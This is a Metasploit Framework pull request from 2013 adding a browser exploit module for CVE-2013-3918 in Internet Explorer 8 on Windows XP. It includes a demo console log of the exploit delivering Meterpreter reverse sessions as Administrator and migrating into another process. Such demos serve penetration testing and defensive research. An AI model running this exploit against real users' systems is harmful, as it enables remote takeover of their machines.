rapid7/metasploit-framework — pull request #2644 by jvazquez-r7 (2013-11-15 16:40:54+00:00)
Title: Add module for CVE-2013-3918

Verification steps:

- [ ] Install Windows XP SP3 / IE8 (don't update IE8)
- [ ] Run the msfconsole, use the exploit like in the demo and you should be getting sessions:

DEMO:

```
msf > use exploit/windows/browser/ms13_090_cardspacesigninhelper
msf exploit(ms13_090_cardspacesigninhelper) > rexploit
[*] Reloading module...
[*] Exploit running as background job.

[*] Started reverse handler on 10.6.0.165:4444
[*] Using URL: http://0.0.0.0:8080/P4MUK55CTCKFF
[*] Local IP: http://10.6.0.165:8080/P4MUK55CTCKFF
[*] Server started.
msf exploit(ms13_090_cardspacesigninhelper) > [*] 10.6.0.165 ms13_090_cardspacesigninhelper - Gathering target information.
[!] 10.6.0.165 ms13_090_cardspacesigninhelper - Exploit requirement(s) not met: os_name, os_flavor, ua_name, ua_ver, activex <=== When visiting with Google chrome, expected
[*] 10.6.0.165 ms13_090_cardspacesigninhelper - Gathering target information.
[*] 10.6.0.165 ms13_090_cardspacesigninhelper - Sending HTML...
[*] Sending stage (768512 bytes) to 10.6.0.165
[*] Meterpreter session 1 opened (10.6.0.165:4444 -> 10.6.0.165:50141) at 2013-11-15 10:37:09 -0600
[*] Session ID 1 (10.6.0.165:4444 -> 10.6.0.165:50141) processing InitialAutoRunScript 'migrate -f'
[*] Current server process: iexplore.exe (2564)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 3916
[*] Sending stage (768512 bytes) to 10.6.0.165
[+] Successfully migrated to process
[*] Meterpreter session 2 opened (10.6.0.165:4444 -> 10.6.0.165:50143) at 2013-11-15 10:37:17 -0600
[*] Session ID 2 (10.6.0.165:4444 -> 10.6.0.165:50143) processing InitialAutoRunScript 'migrate -f'
[*] Current server process: iexplore.exe (1216)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 408
[+] Successfully migrated to process

msf exploit(ms13_090_cardspacesigninhelper) > sessions

Active sessions
===============

Id Type Information Connection
-- ---- ----------- ----------
1 meterpreter x86/win32 JUAN-C0DE875735\Administrator @ JUAN-C0DE875735 10.6.0.165:4444 -> 10.6.0.165:50141 (192.168.172.134)
2 meterpreter x86/win32 JUAN-C0DE875735\Administrator @ JUAN-C0DE875735 10.6.0.165:4444 -> 10.6.0.165:50143 (192.168.172.134)

msf exploit(ms13_090_cardspacesigninhelper) > exit -y

[*] Server stopped.
```